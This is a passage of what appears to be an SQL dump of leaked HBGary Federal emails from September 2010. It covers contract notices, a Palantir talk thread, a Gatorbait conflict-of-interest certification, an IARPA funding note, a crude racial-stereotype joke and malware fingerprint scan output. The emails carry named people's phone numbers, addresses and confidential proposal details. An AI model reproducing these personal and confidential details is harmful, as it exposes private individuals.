}\r\n\r\n\r\n',628,'aaron_hbgary_com/628.html'),(11634,'2010-09-10','arc@westfields.net','/aaron@hbgary.com/new/1297008752.M752286P14101Q6489.eml','federal@hbgary.com','SE / Graystone CBL document posting','\r\nContractor Bidder\'s Library (CBL) documents have been posted on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11361,'aaron_hbgary_com/11361.html'),(11635,'2010-09-10','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008752.M987235P14101Q6490.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBy the 16th we&#8217;ll need the name of the people\r\npresenting (assuming you and Aaron Z), the title of the presentation, and a 100\r\nword description.&nbsp; You G2G on this by the 16th?&nbsp; &nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir\r\nNight Live\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 2:30 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYeah. &nbsp;I just pinged Ted to get the data to Aaron we\r\nsaid we were going to get to him. &nbsp;Ya know so much interest it would be\r\nnice if the interest would turn in to more money so I could hire more people.\r\n&nbsp;:/\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe want and need to do the collaboration. &nbsp;Met with\r\nus-cert yesterday and if we meet our near term goals for tmc they want to get\r\nit.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 10, 2010, at 2:18 PM, Matthew Steckman &lt;msteckman@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure.\r\n\r\n&nbsp;\r\n\r\nAre\r\nwe going to collaborate on a Fingerprinting demo at GovCon or what?&nbsp;\r\nGovCon lead is pinging me.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir Night Live\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, September 10, 2010 1:58 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat.\r\n&nbsp;I have a meeting in Mclean with FBI Cyber Division at 1:30 sooo good\r\nsegway. &nbsp;How about 11:30?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nSep 10, 2010, at 1:56 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s\r\ndo Wed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFollow&nbsp;@palantirtech\r\n\r\n\r\n\r\n\r\n\r\nWatch&nbsp;youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\nAttend&nbsp;Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, September\r\n09, 2010 10:40 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n9/13\r\nis bad I will be in Denver Mon/Tues. &nbsp;I can do Wed or Fri. &nbsp;Always up\r\nfor lunch at your place. :)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nSep 8, 2010, at 9:26 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow\r\ndoes 9/13 work for you?&nbsp; Want to come for lunch?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow&nbsp;@palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch&nbsp;youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend&nbsp;Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, September\r\n07, 2010 10:10 AM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure\r\nthing, just send me a note. &nbsp;I have never been to India but I can imagine\r\nit has to be a bit crazy.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nSep 5, 2010, at 3:02 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVery\r\nnice.&nbsp; I might want to attend to check it out, maybe see how Palantir\r\ncould fit into your thinking.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s\r\nsync up when I get back from India.&nbsp; This country is nuts, have you ever\r\nbeen?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFollow&nbsp;@palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWatch&nbsp;youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttend&nbsp;Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, September\r\n01, 2010 2:32 PM\r\nSubject:&nbsp;Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nrise of the social web has created an entirely new set of useful technologies\r\nand security vulnerabilities. &nbsp;It is our experience that most individuals\r\nand organizations understand there are risks to using social media but don\'t\r\nunderstand the full extent, from what types of use, what the real risks are, or\r\nhow the vulnerabilities can be fully exploited, and how to effectively protect\r\nthemselves.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization. &nbsp;We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day. &nbsp;We also offer a tailored training\r\nprogram that is preceded by a social media penetration test. &nbsp;The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training. &nbsp;You\r\ncan also follow us on twitter to receive regular updates &nbsp;or become a fan\r\nof our Facebook page.\r\n\r\nWeb:&nbsp;training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail:&nbsp;training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3698,'aaron_hbgary_com/3698.html'),(11636,'2010-09-10','\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>','/aaron@hbgary.com/new/1297008753.M219778P14101Q6491.eml','courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Nuhad Karaki\" <nuhad.karaki@inceptre.com>,\"Pat Black\" <patricia.black@macb.com>,kathyrondon@aol.com,barlow.katrina@gmail.com,\"Megan Speicher\" <mspeicher@telemussolutions.com>,samuel.corbitt@siegetechnologies.com,\"Sam Corbitt\" <sam.corbitt@siegetechnologies.com>,courtneys@thebuffalogroup.com,schleep@thebuffalogroup.com,ted@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','OCI Certification','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGatorbait Team,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.\r\n\r\n&nbsp;\r\n\r\nPlease confirm/certify that you have no OCI for Gatorbait by\r\nsubmitting (via email) the statement below by Monday, 9/13/2010 at 12:00 PM. \r\n\r\n&nbsp;\r\n\r\nTo the best of its knowledge and\r\nbeliefs, performance of the work contained in the Gatorbait solicitation does\r\nnot and will not create any Organizational Conflict of Interest (OCI) for\r\n__________________________ (insert your company name).\r\n\r\n&nbsp;\r\n\r\nLet us know if you have any questions.&nbsp; Thank you for\r\nyour help.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nSteve\r\n\r\n&nbsp;\r\n\r\nStephen\r\nOtt\r\n\r\nPrincipal\r\nSubcontracts Administrator\r\n\r\nManTech Mission, Cyber,\r\nTechnology, and Solutions Group\r\n\r\n7799\r\nLeesburg Pike, Ste 700 South\r\n\r\nFalls\r\nChurch, VA 22043\r\n\r\n(P)\r\n703-485-8010\r\n\r\n(F)\r\n703-847-0486 \r\n\r\n&nbsp;\r\n\r\n**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use, copy,\r\ndisclose or distribute this email or any of the contents of this email.&nbsp;\r\nIf you received this email in error, please promptly notify the sender by reply\r\nemail and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13529,'aaron_hbgary_com/13529.html'),(11637,'2010-09-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008753.M693629P14101Q6492.eml','\"Barr Aaron\" <aaron@hbgary.com>','Gatorbait','Draft cost proposal & rates spreadsheet (don\'t pass along to anyone).\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',14415,'aaron_hbgary_com/14415.html'),(11638,'2010-09-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008753.M968373P14101Q6493.eml','\"Ott, Stephen D\" <Stephen.Ott@mantech.com>,\"Ott, Stephen D\" <Stephen.Ott@mantech.com>','Re: OCI Certification','To the best of its knowledge and beliefs, performance of the work\r\ncontained in the Gatorbait solicitation does not and will not create\r\nany Organizational Conflict of Interest (OCI) for HBGary Federal, LLC.\r\n\r\nTed Vera\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',5819,'aaron_hbgary_com/5819.html'),(11639,'2010-09-10','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008754.M259671P14101Q6494.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Willis McDonald update','Hi Aaron,Hope you had a good week.Just wanted to see how you made out with your prime in regards to Willis.Enjoy the weekend.Thanks-Ed\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comSEE THE HOT JOBS... CLICK THE LOGO LINK!&nbsp;\r\n\r\n',16369,'aaron_hbgary_com/16369.html'),(11640,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008754.M463370P14101Q6495.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: isolated the words and phrases that made each racial group\'s 	essays statistically distinct from the others','I saw this funny shit.  Sooooo stereotypical, but real, which is why it&#39;s so funny.Sent from my iPhoneOn Sep 10, 2010, at 2:43 PM, Mark Trynor &lt;mark@hbgary.com&gt; wrote:\r\nhttp://blog.okcupid.com/index.php/the-real-stuff-white-people-like/\r\n\r\n\r\n',625,'aaron_hbgary_com/625.html'),(11641,'2010-09-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008754.M676203P14101Q6496.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Reaaly good meeting with the director of iarpa','http://www.iarpa.gov/solicitations_smart.html\r\n\r\nThey asked me to submit the ideas on our malware and social media\r\nanalysis as a combined BAA.  No more than 15 pages.  This should\r\nresult in somewhere between 100-200k of initial funding.  I am going\r\nto start work on it immediately but will need to get a little bit of\r\ninput from you Greg to pepper the proposal.  I should be able to steal\r\nfrom the attribution talk for most of what i need.\r\n\r\nAaron\r\n\r\n\r\nSent from my iPad\r\n',13195,'aaron_hbgary_com/13195.html'),(11642,'2010-09-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008754.M892586P14101Q6497.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: GoToMeeting Invitation - TMC Discussions','Hi Aaron,\r\n\r\nI just kicked off a FP.exe scan of 5000 samples.  Below are the first\r\n20 results.  The scan will run this weekend and I\'ll send you the\r\noutput in bursts.\r\n\r\nTed\r\n\r\n\r\nFingerprint v1.0, Copyright c 2010 HBGary, Inc. All Rights Reserved.\r\nantidebug.cs compiled successfully\r\ncompiler.cs compiled successfully\r\ncompression.cs compiled successfully\r\nintegerparsing.cs compiled successfully\r\nlibs.cs compiled successfully\r\nmicrosoft.cs compiled successfully\r\nmsapi.cs compiled successfully\r\npe.cs compiled successfully\r\nsockets.cs compiled successfully\r\nstrings.cs compiled successfully\r\nScanning 103 file(s)...\r\n\r\n0/103\r\n\r\nName: 000e7c6045b9a3c40f2b44615c5bf7e4.EX$\r\nHash: 000E7C6045B9A3C40F2B44615C5BF7E4\r\nPE Timestamp                   10/16/2006 8:04:07 AM\r\nLinker version                 v6.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nCommand line parsing           Win32\r\nVirtual Memory                 Generic\r\nMemory                         Win32\r\nThread Creation                Generic\r\nAssembly Description           nullsoft install system v20-oct-2009.cvs\r\nAssembly Info                  nullsoft.nsis.exehead version 1.0.0.0 for x86\r\nDependent Manifest             microsoft.windows.common-controls\r\nVersion 6.0.0.0 for x86 Key: 6595b64144ccf1df\r\nDataConversion                 64bit\r\nFPO count                      1\r\nPE Headers                     1\r\n\r\n1/103\r\n\r\nName: 00a687bde7cd37e59d56f1cbfb92b3ce.EX$\r\nHash: 00A687BDE7CD37E59D56F1CBFB92B3CE\r\nPE Timestamp                   11/30/2005 6:06:20 PM\r\nLinker version                 v7.10\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data | .rsrc\r\nSEH inits                      284\r\nFPO count                      522\r\nPE Headers                     1\r\n\r\n2/103\r\n\r\nName: 00de43b6397a8fb37bba68a159eeec35.EX$\r\nHash: 00DE43B6397A8FB37BBA68A159EEEC35\r\nPE Timestamp                   10/23/2005 9:26:21 PM\r\nLinker version                 v6.0\r\nDllCharacteristics             00000000\r\nPE Sections                    .text | .rdata | .data\r\nWindows GDI/Common Controls    yes\r\nCreateProcess                  AsUser\r\nTemp file locations            yes\r\nVirtual Memory                 Generic\r\nDrive Query                    yes\r\nDebugger Timing                Ticks\r\nCommand line parsing           Win32\r\nWin32 File Searching           Generic\r\nFile IO                        Win32 | CRT\r\nMailslot aware                 yes\r\nProfile                        private\r\nEvents                         yes\r\nWindow Station                 enum\r\nDataConversion                 wide | double | 64bit\r\nCompiler                       Microsoft Visual C++ 4.2\r\nAssembly Info                  instant-acess version 1.0.0.0 for x86\r\nRDTSC                          3\r\nCPUID                          4\r\nPE Headers                     1\r\n\r\n3/103\r\n\r\nName: 01a0ddf87836b9d2a55a8f6bb03a3f31.EX$\r\nHash: 